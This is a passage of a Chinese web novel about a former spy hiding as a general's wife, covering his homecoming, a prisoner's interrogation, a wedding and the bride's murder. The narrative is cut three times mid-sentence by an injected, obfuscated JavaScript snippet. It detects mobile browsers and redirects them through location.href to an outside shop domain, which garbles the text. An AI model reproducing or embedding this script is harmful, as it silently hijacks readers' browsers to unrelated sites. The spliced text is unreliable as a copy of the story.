“嫂嫂莫要再问，就当是只说了这些。”霍任芙将手中那封未打开的信交给沉竹，“这是兄长写给你的信，还未曾打开。” 沉竹从霍任芙手中接过那封信，心情却不由变得沉重。 “今日宴会之上可有发生些什么事？嫂嫂还未归来之时，我便听到府中外出采买归来的下人们说着那晏府宴席之上出了事。” “消息可真是传得快。”沉竹与霍任芙在院中坐下，同霍任芙说着今日在晏府发生的事。 “燕京城内也未曾听闻晏家与二皇子交恶或是同景王交好，怎的今日却演这一出戏，拒了这门皇家亲事？” “大抵在你我不知之处早已风云巨变了罢。若是二皇子在此事之后仍娶晏钦薇为妻，便是将御史丞一家摆到了自己的对立面，如此说来杨谣已然是板上钉钉的二皇子妃。” “现下看来便是如此了。还有，嫂嫂可还记得前些时日廷正监在燕京城中搜查一事？” 沉竹停顿了一下才回答道：“记得。” “今日廷正监来府中给兄长送了文书，兄长身边的侍卫将此文书接过放在了书房之中，路过时，我轻扫了一眼文书上的内容，前些时日城中的搜查大约已有了结果。” 沉竹现下还好好地坐在此处，那搜查如何能够得出结果？莫不是，润夏被捉去了廷正监？ 她心中不可避免的有些慌乱，可转念一想，既然自己现下安然无恙，又何须去理那些琐事？ “既如此，夫君也可宽心了。”沉竹在霍任芙面前轻叹道。 “我将此事说出，也是为了让嫂嫂宽心，这些时日我常见嫂嫂在窗前发呆，也不见嫂嫂再去翻阅那些草药籍册，便猜想嫂嫂是为此事忧心。” “还要多谢芙儿。”沉竹边笑着，边用手轻抚霍任芙的后脑。 她已不去再想过去将近一月的时间内自己曾拥有过的希望。 夜晚，借着烛火，沉竹将霍间重的信展开，这次的书信虽不像以往写了许多页，但字里行间充盈着将归的喜悦与迫切。 他想快点见到她。 看完这封信的最后一字之后，沉竹将此信同她曾一月前收到润夏留给她的字条那般，放在了烛火之上，任由跃动的火焰将信侵蚀殆尽。 她不知该如何面对将归的霍间重。 16. 隆冬 燕京城的冬天比滁州的要冷上不少，炭火在火盆之中欢腾地燃烧，窗外的雪寂静地落下，在地面和屋檐上积上一层薄薄的白霜。 这是燕京城今年冬天的第一场雪，与雪一并来的还有乘胜而归的边境大军。 天将亮时，霍间重带着一队先行人马从城门而入，快马骑至宫闱，向陛下复命。 霍间重今日归来的消息在昨夜就传到了霍府，沉竹一早便同霍任芙一道等在了府门前。 她穿着白色的毛氅，眼神在连绵而下的白雪中失去了焦点。但兴许被站在自己身边霍任芙的欣喜感染，脸上也不由自主地带上了笑意。 她们没有在府门前等上太久，当日光刚好落在沉竹眼睫上时，霍间重的身影出现在了街巷的尽头。 看着盔甲还未褪去的霍间重骑着马逐渐向自己而来，沉竹心中还是不免蓬勃出喜悦来。 “我回来了。”霍间重下马，身上还披着雪意，面上浅笑着，望进沉竹的眼睛。 沉竹一时间愣住了，复杂的思绪混着几分忧伤涌上心头，她侧脸躲避开了霍间重炙热的眼神。 “叶准呢？”一旁的霍任芙按捺不住发问。 “陛下有事留他在宫中小叙，你不必站在此处等他。”霍间重语气冷峻地回答道。 察觉到霍任芙的失落，沉竹握住了她耷在身侧的手，柔声道：“风雪愈大了，我们进屋再叙。” “兄长可知叶准为何被陛下留在宫中？” 刚落座，霍任芙便急迫地向霍间重讨要问题的答案。 “叶准在边境战场之上立下了战功，我出宫之时向陛下身边人打听了一二，得知应是兆云公主对叶准有意。” “兆云公主擅骑射，和叶准也算般配。“霍任芙紧握着茶杯的手在此刻松开，平淡地说道：”今日起的早，现下有些乏了，便先回屋休息了。“ 说罢，霍任芙便转身离去，留下沉竹和霍间重在正厅之中面面相觑。 “此事来得突然，不知小叶统领是否愿意？“ “陛下赐婚，由不得他选择。“ “那芙儿……” “霍任芙可将自己的全部心思放在了叶准身上？她若是那般无所谓的模样，我又何须到陛下面前为她求得此缘分。她知道自己想要什么，就给她时间让她好好想清楚罢。” “既如此，水已备好，夫君一路劳累，不如先去沐浴，好好休整一番。“ 话语间，沉竹一直看向霍间重的面庞，那张脸上不见多月征战的沧桑，像是在回燕京之前就打理过了自己的容貌。 “你可想我？”霍间重直接地问道。 自他归来见到沉竹时，他便感觉到了些许的不对劲，那曾被他驱散的薄雾似是又重新笼罩了回来。 “自然是想的。”沉竹浅笑着说道。 可偏偏霍间重从这笑中感受到了冷静与疏离，这不是他想要的答案。 “这段时间可发生了什么事？” “夫君是指何事？” “关于你的事。” “可是我今日显得憔悴？大抵是因为昨夜因得知夫君将要归来的消息，未休息好的缘故。” 兴许是自己多想。 抱着这样的想法，霍间重不再继续追问，他日夜兼程几乎提前大军两日回到燕京，他的确有些累了。 窗外的雪还在下着，屋内积攒的暖意渐渐散去，沉竹在无人处轻叹了口气，心中的难过因刚刚自己面对霍间重时的心动而无限放大，她预感到接下来的每一日都将是一把剜她血肉的利刃，而她四肢被无形的枷锁禁锢，难以挣脱。 燕京城内总不缺新鲜的趣闻，兆云公主的婚事取代在众人眼中已经尘埃落定的皇子妃人选，成了城中贵人们又一个热议的话题。 他们疑惑着公主为何会挑叶准为驸马，明明经此一战升至国尉的霍间重才是驸马的最佳人选。 是因为叶准尚未娶妻或是因为公主先前曾与叶准结缘？无人笃定自己猜透了公主的心思，便又从别的方面思考猜测。 在暗处，将此亲事同政事联系在一起的说法也极为盛行，在这一说法中，兆云公主站在了二皇子一边，景王身边有霍间重一武将得力帮扶，而身为霍间重左膀右臂的叶准是一个保守又有效的选择。 众说纷纭之下，无人在意叶准的心意。 自此事发生以来，沉竹再也未在府中见过叶准，她也只是在霍间重从自己眼前走过时，觉得他身边稀落，才想起叶准来。 霍府中一切如常，霍任芙的状态沉竹也并未发现异样。 只是每到夜晚，除去霍间重的书房重新亮起，霍任芙房内的烛火也长久地不灭。 沉竹无意去打扰他们中的任何一个，她重新拿起先前放在一边的草药籍册，在霍间重从书房回到主屋之前细细地品读着。 霍间重依旧在沉竹熄灭烛火后的一阵，才进入轻声进入房中，在黑暗中寻到还未就寝的沉竹，将她抱起坐在她刚刚离去的书案之上，极尽缱绻地亲吻着她的唇，脖颈…… 在某次喘息之间，沉竹分神问道为什么霍间重总等着她吹灭烛火之后才进屋，霍间重从不回应她的问题，只是用一遍又一遍的动作将她跑走的神撞得更加四散。 沉竹不清楚身体上更亲密的接触是否会将心的距离进一步拉近，但让她食髓知味的快感让她无法抗拒霍间重的亲近。 反正她与他之间不会有正式的道别，自己的血也极有可能在之后的某日将身下的床榻彻底染红，那便毫无顾忌地享受当下的快乐。 思及此，沉竹抱住身前人炙热的躯体，用力地靠近。 沉竹不知晓，在战场上拿刀厮杀出血路的霍间重害怕在光亮之下见到她那双没有爱意的眼睛，只得用她口中的甜言蜜语迷惑自己。 前去滁州参加章征喜宴的日子将近，沉竹一连几日都被霍任芙拉着上街寻一份合适的贺礼。 沉竹在城中有名的首饰铺子中挑定了一套成色尚可的碧玉首饰，霍任芙则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377475|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在选定贺礼之后，仍在街中各间铺子间徘徊。 “嫂嫂你说，怎样的礼送予公主才不显得寒酸？” “你未免将此事想的太早了些，如今不过一道旨意，等纳采、问名、纳吉、纳征、请期、亲迎这种种繁杂的事宜一一办完，怎么说也要等到明年去。” “是我心急，嫂嫂大抵也知晓吧，我这些时日总是在想着此事，我总盼着此事能早些过去，也好让我好受一些。“ 见霍任芙面带愁容，沉竹出声安慰道：“若论礼的贵重，公主身为陛下亲女自是什么都见过的，不如送些踏实可用之物也算显得更真心些。芙儿，此事若想了结从来无需等到一年之后，只要你心中将此事揭过去，一切便可豁然开朗。” 霍任芙听后笑着点了点头，不再在街道间徘徊，同沉竹一道坐上了回府的马车。 沉竹话说得冠冕堂皇，心中庆幸着霍任芙未追问她该如何去做，大多过不去的人与事是同她现下这般糊弄过去，沉在心中，无人提起便侥幸地当自己也已经忘记。 回府之前，沉竹叫车夫在离霍府不远处的一间药铺前停下。 “嫂嫂最近身体可有不适？”霍任芙担忧地问向沉竹。 “只是最近心神还是有些不安，便想着配副药来安神，芙儿不必为我担心。你先回府，我让沁兰陪我便好。” “那待会儿我与嫂嫂在府中相见。” 霍任芙不疑有他，等着马车在药铺前停稳，便掀开车窗上的帘布，同车下的沉竹道别。 沉竹带着沁兰走入药铺，先问老板抓了一副安神的药。 随后，她乘沁兰去拿药之时，将预先写好的纸条递予药铺老板。 “烦请您按着纸条上所写，各配两副药，改日同这纸条一并我前来取。” 纸条之上，写着一味零陵香和她从那草药籍册上抄来的打胎方子。 先前在赋凌司之时，她同司使粗略地学过些医术，诊病略有些难度，但辨别平常脉象和滑脉还是有几分把握。 现下虽尚未发生些什么意外，但她到底不想在几月后廷尉府请仵作来为她验尸时，验出个一尸两命来。 “夫人可还有要抓的药？” 从伙计手中拿过药的沁兰，边走到了此时还站在药铺老板前的沉竹身边，边问着。 “今日没有了。你我抓紧回府吧，日头已西沉，芙儿在府中怕是等的急了。” “好。”沁兰点点头，同沉竹一道走出了药铺才继续说道，“夫人若是身子有什么不适，可定要同我说，莫不要自己一个人忍着。” “若是有别的不适，我定第一个同你说。”沉竹笑着同沁兰讲。 冬日的黄昏总是格外温暖些，前些日子接连下的几场雪在街巷之间留下的痕迹在日光之下也逐渐消融。 房檐上的积雪化为水，一点一滴的流了下来，未来得及逃出的水，则在无声之间凝结成冰锥，在下一个春季到来之前刺向地面，变为终将蒸腾消逝的碎片。 17. 返回 廷正监先前捉拿归案的是另一个潜伏在燕京城内的赋凌司细作，那人名叫盛乙，在民北街那间有名的果脯铺子当职，是铺子里跑堂售卖的伙计。 霍间重回京之后，休整了几日，便开始了对此人的审讯。 只可惜，一连几日的问话都没问出些什么有用的消息，那人四肢俱被锁在木桩之上，身上布着不少刑罚过后的血痕印记。 “该想的办法都想了吗？”霍间重用下属递来的帕子擦拭着手上沾染到的血迹，问着身边行刑的官员。 “都想过了。这人在燕京城内无亲无故，也没有什么相好，偏嘴又硬的很，这刑罚能用的都用了一遍，也没问出些什么有用的东西来。” “你们先出去吧。” 说罢，牢房之内的侍卫官员散去，便只剩霍间重与盛乙二人。 “是因为知晓自己没有几月可活，所以死咬着不说是吗？” 盛乙闻言讲低着的头抬起，吐出口中的血水，低哑着声音说道：“你…知道…解药的事。” “你可知你为何被带至此？“ 疼痛无法支撑着盛乙继续说话，他本想张口，却被喉中的血沫呛到，连着咳了几声。 霍间重心中明白，那日廷正监在陈家巷面点摊周围捉住的盛乙并不是他们想找的人，他的手上没有沾染瓦片上的新漆，也没有疤痕。 面对意外收获，霍间重向来和颜悦色。 “是因为你的同伴不甘心，在城中搜寻你们那辨情使的踪迹，你猜他们找到了什么？“ 无需盛乙回答，霍间重边将刚刚染血的刀擦净，边自顾自地说道：“城北那间药铺的老板也是你们的人吧。他经营药铺多年，精通药理，解药的方子他在死前已摸出了大概。” “这…不可能！“ “有何不可能？那日你在河道内见到的辨情使的尸体不就是他生前留下的手笔。” 霍间重说完，将手中擦拭好的刀扔到了盛乙的颈侧。 “若想拿到解药，便要说出些有用的来。” 盛乙的伤势无法让他离刀刃更远一些，那把刀刚刚将他的颈侧划出一道血痕，下意识的躲避举动反倒让他身上的伤口更加疼痛。 “你怎么拿假的消息蒙蔽他？“ 等在牢房门口的郑子寒，终是等到霍间重从牢房走出。 “只要拿到有用的消息，不过是略使些技俩有何不可。“ “这未免太残忍了些，给了他希望，又让他落空。“郑子寒不禁轻叹道。 “你今日找我何事？” “我归家时路过你的府邸，你妹妹让我给你送些吃食来。” 霍间重从郑子寒手中接过食盒，打开了最上方的木盖，里面放着几样今日饭桌上剩下的饭菜，和一碟梨脯。 “京中不少官员家眷都曾买过这间铺子里的东西，这恐怕难以挨个排查，那盛乙可说了什么有用的东西？”郑子寒拿起一块梨脯，放入嘴中，同霍间重说道。 “他说，我们要找的人就在身边。” 霍间重事务繁忙，沉竹一行人在章征喜宴举办的前一天，才赶到了滁州。 霍任芙这几日心情看上去好了不少，沉竹不再在她的脸上看到那日的愁容。 她笑着从随行的马车上她与沉竹送予章征的贺礼小心搬入她们先前居住的府邸。 待将礼好好放在院中的石桌之上，她又匆匆地从院中跑出，拉着沉竹去滁州熟悉的街市上闲逛。 滁州城内的模样和沉竹走时别无二致，落叶和绿叶同时在街巷上出现，河道中的水也在平静地流淌。 “章征要娶的是城中哪个褚姓人家的姑娘？我可曾见过？” 沉竹只知这姑娘的名字叫褚盈，但在她的脑海之中对此人并无印象。 “褚盈也算同我们一起长大，幼时我们两家都住在城中的一处油坊旁，后来褚盈的父亲做了生意，家中富裕了些便搬到城西的一处宅子，自那以后我们也很少见面。” “原是城西的褚家，我曾听父母亲说过一二。” “章征与褚姐姐也算是通过我兄长相识，去年春日嫂嫂与兄长结亲之时，二人便将要议亲了。” 沉竹点点头，在街边为霍任芙买了一只兔子样的糖画，递给了霍任芙。 霍任芙接过糖画，笑着跟沉竹道谢。 “褚姐姐与章征这一路走来也极为不易，早些时候朱国势大，边境战事频繁，章征一次被砍伤了胳膊，险些就要断臂，那时褚家本是不同意这门亲事的，后来多亏了医师医术高明，章征的手臂才得以保住，这亲事才能进行到如今这一步，不过在那之后章征便自请为滁洲城的守军，不再在军中任职。” “战场之上刀剑无眼，如今局势，为一国守军倒也是个较为安妥的选择。对了，我还有一事要同你说。”沉竹转头轻拍霍任芙拿着糖画的手臂说着。 “嫂嫂无需顾虑，有什么直接同我讲便是。” “既回到了滁州，待会儿我想回家去看望父母。” “这是自然，可要兄长陪你一起去？” “不必了，他大抵还有事要忙，有沁兰和沁菊陪我便好。只是过会儿我怕是不能陪你一起回府了。” “无妨，嫂嫂有些时日未见伯父母，今日宿在赵家也没什么不妥，我回府后同兄长讲明便是。” 说罢，沉竹同霍任芙道别，朝着赵家的方向走去。 路上，沉竹又路过了一间药铺。 “沁兰、沁菊，你们两个在门口等我一阵，我进去配些安神的药来，先前在燕京城配好的药我未带过来，这一路上舟车劳顿，今晚若无药便又要难眠了。“ “可要我陪夫人同去？“沁兰担忧地问道。 “不必，只一会儿，你们在此处等我便好。” 在燕京城配好的药，沉竹在那之后以去拂尘寺还愿的名头，将药取回。今日她又到药铺来，除去当真是要配些安神的药，还想根据她这些时日读过的草药籍册，试着配出副解药来。 她思来想去，总是觉得在燕京城将写着宽乐草的药方交出去不妥，便借着机会，到滁州来配得此药。 取完药后，沉竹便步行回到了赵家。 因是突然造访，家门前并没有人在等候着她。 但自她她入赵家门槛的那一刻起，便已有下人们惊呼着“小姐回来了”朝内跑去，同赵母报信。 当沉竹来到赵母常在的一处院落，赵母不过刚刚起身急着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410124|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从房内走至院落的中央。 “我的芊芊，可是回来了。”赵母欣喜地说着，激动的泪水就要从眼眶中落下。 沉竹同赵母紧紧地拥在一处，过了一阵才分开。 “芊芊在燕京城过得可好？我同你父亲每日在家中都盼着你的信来。” “父亲呢？可在家中？” “你父亲有事出去了，大抵得到晚饭时才能回来，不知你是否能等到那时。” “能的，我同霍家那边已说好，今晚我便宿在家中。” 听及此，赵母的脸上难掩笑容，“那便好，那便好！那霍间重呢？他为何没陪你回来看看？” “母亲知晓，明日便是章征的喜宴，他约莫是过去帮忙了。” 沉竹的这番话将赵母脸上的担忧消去，又重新带上了笑容。 “总归是回家了。我赶紧叫厨房做上几道你爱吃的菜，等你父亲回来了，咱们一家子吃个团圆饭。” 夜色悄然攀升，赵父在收到赵母报信之后匆匆赶回，在明月高悬之前，三人终是有说有笑地齐聚在饭桌上。 沉竹此次来看望赵父赵母，本意是道别。这一面见过后，再回燕京，便再无相见的可能。 看着眼前面带笑容，直给自己夹菜的赵父赵母，当下的和美与欢乐暂时地将她心底那片不断放大的哀伤填补。 她听着赵母讲述其养护后院那些花草时的趣事，也同赵父一道笑着。 欢乐和满足一时间只出现在这小小方天地之间，充斥在沉竹的心头，即将到来的死亡意外地为她带来了释放，这些时日浮在她心头的阴霾也被暂时驱散。 直到一位前来禀报侍者轻声道：“夫人、老爷、小姐，姑爷来了，现下正候在院中。“ 沉竹朝门外望去，深沉的夜色之中，霍间重的身影在她意料之外的出现在此处。 “那赶快端上壶热茶来，请姑爷进来坐着。“赵母忙直起身子来，随后又接着向沉竹问道：”芊芊怎未同母亲讲今日霍郎君要来？” 回答赵母问题的不是沉竹，而是刚步入厅中的霍间重。 “我知晓叶芊今日要归家，将手头的事情办完，便急着赶来了。叨扰岳父岳母了。” “这是哪里的话，今日天色已晚，你不如同芊芊一般宿在家中？” “多谢岳父母招待。只是我还有一事要向岳父岳母和叶芊道歉。” “何事？” “去年新婚之时，边疆战事告急，便未来得及同叶芊一道拜访岳父母。此事是我失礼在先，小婿在此向岳父母要赔个不是，万望岳父岳母和叶芊见谅。” “战场上的事，任谁也是说不准的，我们又怎好怪罪于你。时候不早了，你们二人明日还有事，便早些安置休息罢。”赵父笑着将此话说出。 “芊芊，快领霍国尉去安置吧。”赵母轻拍着沉竹的背，将她领至霍间重的身旁。 “是，母亲。” 沉竹笑着向赵父赵母道别，将霍间重领至下人重新打扫出的房间。 今日她走时未亲自告知霍间重，便是不愿他前来打扰自己同赵父赵母的见面。 月色寂凉，霍间重一言不发地跟在沉竹的身后，等待着她的回眸。 18. 褚盈 “见到我，你很意外？”霍间重向走在身前的沉竹问道。 “夫君这是哪里的话。”沉竹笑着回应道，“夫君能同我一道归家，我高兴还来不及。” 院落中一阵风吹过，树上的叶落在霍间重的肩上。 沉竹看到，踮起脚来，用左手将他肩上的落叶拍下。 “你的手，何时伤的？” 霍间重握住沉竹将要收回的手，看着她指尖留下的疤，语气中有着不愿让人发现的担忧。 沉竹的警觉在一时间内被唤醒，她急着将手从霍间重的禁锢中抽出，但奈何眼前人的力量太大，让她无法逃脱。 “这伤有些时日了，那日一时兴起同霍任芙一起在府中厨房做些菜，不慎切到了手，已无碍了，多谢夫君关心。” “等回到燕京，我去拿些药膏给你，只是这伤看上去确已有些时日了，不知疤痕是否能够去除。” “不论这疤痕是否能去除，夫君能记挂着我，我心中便已欢喜了。”沉竹将被霍间重握着的手收回，面上带着笑同霍间重说道，“时候不早了，明日章征的喜宴上夫君还要帮着照看些吧，不如我服侍夫君早些安置？” “我走的这几月间，可有发生些什么事？” 霍间重终是将藏在心底的问题问出，他想知道为什么离去前她对他的那份爱意消失不见。 “哪里有发生什么事，夫君多虑了，只是与夫君一别数月，有些思虑过度心神不安罢了。近日，我也去城中药铺配了些安神的药，夫君不必为我担忧。” 话音落下，沉竹似是在霍间重的眼中捕捉到了一抹失落，但当她想捕捉到那抹失落之时，却再也找不到踪迹。 次日，霍间重比沉竹先行离去。 章征的宴席定在日落之时，沉竹在赵家用过午饭后，才同赵父赵母道别，去到了章征家门前。 在门前接待宾客的人，沉竹大都在先前她与霍间重的喜宴之上见到过，那些人显然也识得她的面容，将她带至早已抵达院中霍任芙的身边。 “嫂嫂可是来得巧极了，接褚姐姐的轿子马上就要到了。” “夫君呢？” “嫂嫂不知吗？兄长前去接亲了，待会儿应当同褚姐姐的轿子一并来。” “你这一说我才想起，夫君昨晚是同我说过。” 沉竹这边说着圆场的话，那边门前人群突然喧闹了起来。 “大约是兄长他们到了，嫂嫂可要随我靠近些看？” 不待沉竹给出答案，霍任芙便兴高采烈地挽起她的胳膊，将她带至门前的庭院。 红色的喜轿在门前停下，喜婆牵着褚盈从轿上缓缓而下，深红色的裙裾坠在身后，扇下的面容带着笑，连眼角都流露出喜悦来。 沉竹忽地在想，自己大婚之时，可曾有过这样的喜悦。 虽有着人群遮挡，但沉竹还是一眼看到了身前戴着大红花的霍间重。 鲜艳又夸张的红花将霍间重周身冷峻的气氛柔和了几分，他嘴角挂着笑，眼中依旧像是深不见底的潭水。 可今日沉竹却意外地看清他深藏于眼底的情绪，疑惑、怀念还夹杂了几分难过，像是透过重叠的人群直至抵达了她的心里。 霍间重也看到了她，可眼神却直直地从她面上掠过，像是看一个丝毫不相熟的人，径直向前走去。 霍任芙也拉着沉竹走去前厅，熟悉的声音在她耳边响起，章征的父母坐在厅堂之中，看着新人在他们面前躬身行礼，面上浮出了更多的笑容。 他们和蔼的面容让沉竹想起赵父赵母，他们也曾给予她这样的笑容，可这笑容属于死去的赵叶芊，并不属于她。 在院中用过喜宴后，沉竹同霍任芙先回到了府邸。 霍任芙在宴上多吃了几盏酒，醉意在跨入府门之后发作，沉竹将她扶入房间后，便回到了主屋，打开窗子，吹着冷风。 可她的意识本就清醒，无需冷风来唤醒。 当浑身散发着酒气的霍间重归来之时，沉竹依旧在窗边坐着。 “不冷吗？” 听到询问的沉竹扭头看向刚进房门的霍间重，他的眼神混沌，显然是不清醒的模样。 沉竹无心去应付这段不会在霍间重脑海中停留至明日的记忆，她不回应，依旧静静地吹着风。 霍间重将房门关了两次才关上，他脚步摇晃，不稳地瘫坐在沉竹所坐的椅子旁。 “你从不回应我。” 霍间重闭着眼，坐在地上，靠着桌腿，原本冷淡的语气染了酒意，传到沉竹耳中，硬生生带了几分委屈的意味。 “我何时不曾回应你？“ 他的话，她明明句句有回应。 “赵…叶芊。”霍间重呢喃着，“为何我从看不清你？” 他的声音微弱，可现下只有窗外的风声同沉竹作伴。 “你口中说的都不是我真正的名姓，又怎能将我看清？”沉竹轻叹道，“天气寒凉，你别在地上坐着了，去床上睡吧。” 沉竹边说着，边将支开已久的窗子重新合上。 没得到霍间重的回应，沉竹用脚碰了碰已然入睡的霍间重，嘴里嘟囔着：“还说我不回应你，你现下不是也不回应我？” 沉竹的脚刚碰到霍间重的身体，他便不受控的向一侧倾斜。 眼看他将要彻底落到地上，沉竹急忙蹲下身子扶住霍间重的身体。 沉竹看着霍间重落在她肩上的面庞，自言自语道：“若是赋凌司还在，你我今日便不是如此情形。” 她将霍间重抬到床榻之上，替他将衣物剔去，推至床榻的内侧，自己则在外侧入眠。好在霍间重睡觉向来安生，沉竹今晚也算睡得安稳。 隔日清晨，霍间重先一步睁开了双眼，他在章征的喜宴之上吃多了酒，不记得自己如何归府，更不记得自己是如何躺在了沉竹身侧。 他转头看向身旁此刻还在安睡的沉竹，伸出手将人揽入自己的怀中，在她的脖颈上留下一个又一个细腻的吻。 沉竹终是被他的进一步攻势弄醒，也恰在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438233|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时，房门外传来一阵急促的敲门声。 霍间重将伏在沉竹身上的头抬起，不耐烦地问着门外人的来意。 “兄长，章征让人传来了信，说是家中出事了，请兄长前去看看。”霍任芙边敲着房门，边在门外焦急地说着。 “何事？”霍间重打开房门，看到的是神情哀恸，似要落泪的霍任芙。 见霍任芙如此模样，霍间重也不再追问，直接道：“我即刻便去。“ “章征家中发生了何事？新婚第二日的此时，应当是敬茶的时辰吧，怎得还有空给夫君传信？”沉竹穿戴整齐后，坐上前往章家的马车，在车上同身边坐着的霍任芙问道。 “我也不甚知晓，只是今日晨起，府门外便有章家的下人前来传信。我向那人多问了一句，那人说褚姐姐……”霍任芙说及此，神情突然变得有些惊惧。 “褚盈？她怎么了？” “褚姐姐，褚姐姐怕是死了。”霍任芙红着眼睛说道。 “死了？” 这消息足够让沉竹仅剩的那点睡意彻底消去，她还记得昨日婚仪之上，红绸制成的扇面之下褚盈喜悦的眉梢和止不住上扬的嘴角。 “我初听此消息时也未曾反应过来，明明昨日褚姐姐还好好的，怎的今日就……这才是新婚第二日啊。”霍任芙说着说着，泪便止不住的流了下来。 “芙儿莫哭，待夫君和我们去往章家将事情的前因后果查清，好给褚盈和章征一个交代。“ 霍任芙听后点点头，可还是忍不住小声啜泣着。 马车在红绸还未摘下的章家门前停稳，沉竹与霍任芙下了马车，前来迎她们的是骑着马先一步赶到的霍间重。 “兄长，章征现下如何？褚姐姐的死可明了了？” “此事未有想象的那般简单，我明日便要返回燕京，你在此处帮着章征处理褚盈的后事。” “我可还能见褚姐姐一面？” “褚盈的尸体已入棺，现下就停在昨日我们曾待着的院落之中。” 说罢，霍间重便再次上马，临走之前，还对着沉竹嘱咐道：“你看着些霍任芙，莫让她的情绪太过激动。明日你我一同回燕京。” 沉竹点头应下后，便陪着霍任芙走入了章家。 章家昨日的喜气还未散去，家中的下人们都低着头，褚盈的父母亲在院中跪坐着泣不成声，章征在褚盈的棺侧站着，像是被抽去了精气，呆呆地看着如今在棺内一睡不起的褚盈，昨日还在厅堂笑着接过茶盏的章征的父母亲，当下陪在他们儿子的身侧，一个劝慰着章征，一个是同样的泪眼婆娑。 沉竹挽着霍任芙的胳膊，不断靠近着褚盈的棺椁，直到看清棺椁内她那已经失去温度的面庞，看清她那颈部致命的伤痕。 只一眼，便足以令沉竹心惊。 那伤痕于她而言是何等的熟悉，她曾在无数次赋凌司的试炼中见到过此伤痕，这是只有赋凌司特制的匕首才能产生的伤口。 可赋凌司的踪迹又为何会出现在此处？ 19. 归京 “昨夜到底发生了何事？” 沉竹与霍任芙被章征请入一处别院内，不过刚刚坐下，霍任芙便急忙问着事情的经过。 “昨夜明明什么事也不曾发生。我同褚盈一并入睡，可等我再醒来，她的身体就已经冰凉。”章征说着便将头埋入掌心，眼泪从指缝间露出来，落在地下。 昨日喜宴之上众人皆欢庆，霍间重昨日醉成那样归家，想必章征也不会好到哪去。 沉竹这样想着，追问道：“昨日夜里，褚姑娘可曾出去过？” “家中一直有人守在主屋附近，霍兄刚将那些人都找来问过，褚盈她昨晚只在我未到主屋前出去过一次。” “人去向何处？又可曾碰到过什么人？” “霍兄刚刚也这样问过，府中昨日下人们都忙着宴席的事，无人注意到褚盈去向何处，更别提见过何人。” 沉竹见事情一时间问不出进展来，再多问恐要让人生疑，便只好同章征说道：“节哀。” “此后若有什么帮得上忙的，只管找我便是。”霍任芙在一边流着泪补充道。 “霍姑娘不随兄长回燕京？” “兄长京中事务繁忙，没法在滁州耽搁太久，便留我在此处，帮着照看一二。你放心，兄长定会将此事查明，不会让褚姐姐枉死。” “还是要…还是要多多谢过霍兄。”章征哽咽着将话说完。 “既如此，我便先行归府收拾归京的行囊，章征兄弟切莫太过伤心。” 离开章家之后，沉竹并未直接回到霍家在滁州的宅院，而是让车夫在宅院附近的一处食肆前停下，借口腹饥，让车夫先行归府，自己则在食肆间打包了两份热汤和面，拎着食盒去到了滁州城内的郡尉府附近。 如她所料，霍间重的马便系在了郡尉府外的马厩之中。 章征身为滁州守军，此番家中出事现下看来定是与滁州城的攻防守卫相关。 可赋凌司既已消失，又何来人派遣任务给先前滁州城内的细作，让他们动手呢？ 大抵是别国贼人模仿赋凌司的手笔来混淆视听，沉竹这样想着，心中不敢再做过深的猜测，她害怕自己的希望再一次落空。 待沉竹重新回到霍府后，霍间重也不过刚刚归家。 “夫君可饿了？我从街边食肆买了两份面回来，现下大抵还热着，夫君可要过来同我一并用饭？” 沉竹边说着便将食盒在桌上打开，将里面的热汤与面一一拿了出来。 可对方却冲到了她面前，将她整个人拥在了怀中。 “你没事就好。” 沉竹怔愣了一刹，转而用手轻抚着他的背，轻声说道：“夫君无需担心，我不过去买了些吃食。” 可沉竹的心却不由得有些难过，这让她如何舍得跟他道别？ 回京的路程很快，轻车快马不过几日光景。 沉竹重回霍府之后便鲜少见到霍间重的人影，新春在路上草草地度过，这几日她在府中也筹备着将要到来的上元佳节。 滁州的事快要办完，霍任芙现下也正在归京的路途上。 沉竹数着日子盼着霍任芙能在元宵前赶来，可却在这之前在府门外见到了一位许久未见的熟人。 “叶将军怎候在此？” 沉竹站在石阶之上，打着纸伞，看着身上落着薄雪的叶准出声询问道。 “我恐惊扰夫人便只候在门外，未叫人前去通传。” “叶将军有何事，不妨直说。“ “我…想见任芙一面。“ “街巷间已布上花灯，上元节将至，那旨意已降下数月，整个燕京城怕是都已知晓叶将军与兆云公主的婚事，如今候在霍府门前久久不离去，若是芙儿同你相见，未免有些不妥。“ “与公主的婚事是非我所愿，若是任芙愿意，我愿将此心意同公主讲明，兆云公主良善，定会……” “叶将军莫要妄言。“沉竹出声打断道，”芙儿现下不在府中，你若是想见她，不该选在今日也不该如此候在府门前。“ “那任芙现下在何处？我即刻便去找她。“ 